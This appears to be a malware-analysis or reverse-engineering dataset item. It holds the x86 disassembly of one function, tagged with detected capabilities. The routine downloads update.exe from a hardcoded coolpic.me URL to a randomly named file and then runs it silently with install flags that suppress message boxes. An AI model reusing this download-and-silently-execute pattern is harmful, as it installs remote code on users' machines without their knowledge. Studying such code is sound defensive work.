Function at 0x404dd0
Capabilities:
Access peb ldr_data
Create process on windows
Download url
Get ntdll base address
Receive data

Disassembly:
push 0xffffffffffffffff
push 0x4191c0
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
mov eax, dword [0x41f050]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
lea esi, [esp + 0x2c]
mov byte [esp + 0x17], 0
call fcn.00406720
xor edi, edi
mov dword [esp + 0x38], edi
mov eax, dword [esp + 0x2c]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov esi, esp
call fcn.00401d10
add eax, 0x10
mov dword [esi], eax
lea eax, [esp + 0x20]
push eax
call fcn.00407e30
add esp, 8
push 1
push 0x41c560
lea ecx, [esp + 0x24]
push ecx
mov byte [esp + 0x44], 1
call fcn.00401e50
mov edx, dword [0x4205ac]
mov eax, dword [edx + 0xc]
mov ecx, 0x4205ac
call eax
lea ebp, [eax + 0x10]
mov dword [esp + 0x18], ebp
mov byte [esp + 0x38], 2
mov dword [esp + 0x24], edi
jmp 0x404e70
mov esi, dword [esp + 0x24]
mov edx, dword [0x4205ac]
mov eax, dword [edx + 0xc]
inc esi
mov ecx, 0x4205ac
mov dword [esp + 0x24], esi
call eax
add eax, 0x10
mov dword [esp + 0x28], eax
push esi
push 0x41c564
lea edi, [esp + 0x30]
mov byte [esp + 0x40], 3
call fcn.00405ec0
mov eax, dword [esp + 0x24]
lea esi, [eax - 0x10]
lea edi, [ebp - 0x10]
add esp, 8
cmp esi, edi
je 0x404f55
cmp dword [edi + 0xc], 0
lea ebp, [edi + 0xc]
jl 0x404f48
mov ecx, dword [esi]
cmp ecx, dword [edi]
jne 0x404f48
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
cmp dword [esi + 0xc], 0
lea ecx, [esi + 0xc]
jl 0x404eed
cmp eax, dword [esi]
jne 0x404eed
mov ebx, esi
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x404f28
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebx, eax
test ebx, ebx
je 0x405093
mov eax, dword [esi + 4]
mov dword [ebx + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [ebx + 0x10]
push eax
call fcn.0040a065
add esp, 0x10
or ecx, 0xffffffff
lock xadd dword [ebp], ecx
dec ecx
test ecx, ecx
jg 0x404f3f
mov ecx, dword [edi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push edi
call eax
add ebx, 0x10
mov dword [esp + 0x18], ebx
jmp 0x404f55
mov ebx, dword [eax - 0xc]
push eax
lea eax, [esp + 0x1c]
call fcn.00401f30
push 3
push 0x41c56c
lea ecx, [esp + 0x20]
push ecx
call fcn.00401e50
mov esi, dword [esp + 0x28]
mov eax, dword [esi - 0xc]
mov edx, 3
sub edx, eax
xor edi, edi
test edx, edx
jle 0x404fa0
lea ebx, [ebx]
push 1
push 0x41c574
lea eax, [esp + 0x20]
push eax
call fcn.00401e50
mov eax, dword [esi - 0xc]
mov ecx, 3
inc edi
sub ecx, eax
cmp edi, ecx
jl 0x404f80
mov eax, dword [esi - 0xc]
push eax
push esi
lea edx, [esp + 0x20]
push edx
call fcn.00401e50
add esi, 0xfffffff0
mov byte [esp + 0x38], 2
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x404fd0
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
cmp dword [esp + 0x24], 0x3e8
mov ebp, dword [esp + 0x18]
jge 0x405058
push ecx
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
lea esi, [ebp - 0x10]
mov dword [esp + 0x2c], esp
mov ebx, esp
call eax
cmp dword [esi + 0xc], 0
lea ecx, [esi + 0xc]
jl 0x40500c
cmp eax, dword [esi]
jne 0x40500c
mov edi, esi
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x405043
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x405093
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.0040a065
add esp, 0x10
add edi, 0x10
mov dword [ebx], edi
call fcn.00407f70
add esp, 4
test eax, eax
jne 0x404e70
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
lea edi, [ebp - 0x10]
call eax
cmp dword [edi + 0xc], 0
lea ecx, [edi + 0xc]
jl 0x40507f
cmp eax, dword [edi]
jne 0x40507f
mov esi, edi
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x4050bb
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
jne 0x405098
call fcn.00401f20
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.0040a065
add esp, 0x10
add esi, 0x10
mov dword [esp + 0x28], esi
mov byte [esp + 0x38], 4
cmp dword [esi - 4], 1
jle 0x4050df
mov ecx, dword [esi - 0xc]
push ecx
lea edx, [esp + 0x2c]
push edx
call fcn.00402080
mov esi, dword [esp + 0x28]
push esi
call fcn.0040a94e
add esi, 0xfffffff0
add esp, 4
mov byte [esp + 0x38], 2
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x405109
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x2c]
push edx
mov ebx, 0x41c578
call fcn.00405890
add esp, 8
mov byte [esp + 0x38], 5
mov eax, dword [eax]
mov ebx, dword [esp + 0x1c]
lea esi, [eax - 0x10]
add ebx, 0xfffffff0
cmp esi, ebx
je 0x4051d9
cmp dword [ebx + 0xc], 0
jl 0x4051cc
mov ecx, dword [esi]
cmp ecx, dword [ebx]
jne 0x4051cc
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
call edx
cmp dword [esi + 0xc], 0
lea ecx, [esi + 0xc]
jl 0x40516e
cmp eax, dword [esi]
jne 0x40516e
mov edi, esi
mov eax, 1
lock xadd dword [ecx], eax
jmp 0x4051aa
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
jne 0x405187
call fcn.00401f20
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.0040a065
add esp, 0x10
lea eax, [ebx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4051c3
mov ecx, dword [ebx]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push ebx
call eax
add edi, 0x10
mov dword [esp + 0x1c], edi
jmp 0x4051d9
mov ebx, dword [eax - 0xc]
push eax
lea eax, [esp + 0x20]
call fcn.00401f30
mov byte [esp + 0x38], 2
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4051fe
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x20]
push ecx
mov ecx, str.http:__html.coolpic.me_addon_coolpic_update.exe
call fcn.00401c40
push 8
push str._random
lea edx, [esp + 0x28]
mov bl, 6
push edx
mov byte [esp + 0x44], bl
call fcn.00401e50
lea eax, [esp + 0x28]
push eax
call fcn.004063e0
add esp, 4
mov byte [esp + 0x38], 7
mov eax, dword [eax]
mov ecx, dword [eax - 0xc]
push ecx
push eax
lea ecx, [esp + 0x28]
push ecx
call fcn.00401e50
mov byte [esp + 0x38], bl
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40526b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
xor ebx, ebx
push ebx
push ebx
push ecx
push edx
push ebx
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
jl 0x405319
push 0x3c
call fcn.0040a53d
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x4052a5
push 0x3c
push ebx
push esi
call fcn.0040ad30
add esp, 0xc
jmp 0x4052a7
xor esi, esi
mov dword [esi], 0x3c
mov eax, dword [esp + 0x1c]
mov edi, 1
cmp dword [eax - 4], edi
jle 0x4052cd
mov eax, dword [eax - 0xc]
push eax
lea ecx, [esp + 0x20]
push ecx
call fcn.00402080
mov eax, dword [esp + 0x1c]
mov dword [esi + 0x10], eax
cmp dword [ebp - 4], edi
lea eax, [ebp - 0x10]
jle 0x4052ea
mov edx, dword [eax + 4]
push edx
lea eax, [esp + 0x1c]
push eax
call fcn.00402080
mov ebp, dword [esp + 0x18]
push esi
mov dword [esi + 0x18], ebp
mov dword [esi + 0x14], str.__VERYSILENT__SUPPRESSMSGBOXES__NORESTART__S__UPDATE
mov dword [esi + 0xc], ebx
mov dword [esi + 0x1c], ebx
mov dword [esi + 8], ebx
mov dword [esi + 4], 0x40
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push esi
call fcn.00409d80
add esp, 4
mov byte [esp + 0x17], 1
mov ecx, dword [ebp - 8]
mov eax, 1
sub eax, dword [ebp - 4]
push 3
or ecx, eax
jge 0x405339
xor ecx, ecx
lea eax, [esp + 0x1c]
call fcn.00402030
mov ebp, dword [esp + 0x1c]
sub esp, 0x1c
mov esi, esp
xor ecx, ecx
mov eax, ebp
mov dword [esi + 0x18], 7
mov dword [esi + 0x14], ebx
mov dword [esp + 0x48], esp
mov word [esi + 4], cx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x405357
sub eax, edx
sar eax, 1
push eax
mov eax, ebp
call fcn.00405a90
call fcn.00408010
mov byte [esp + 0x58], 2
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
add esp, 0x20
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40539b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [ebp - 0x10]
mov byte [esp + 0x38], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4053bc
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x38], 0
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4053e1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x38], 0xffffffff
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405409
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov al, byte [esp + 0x17]
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret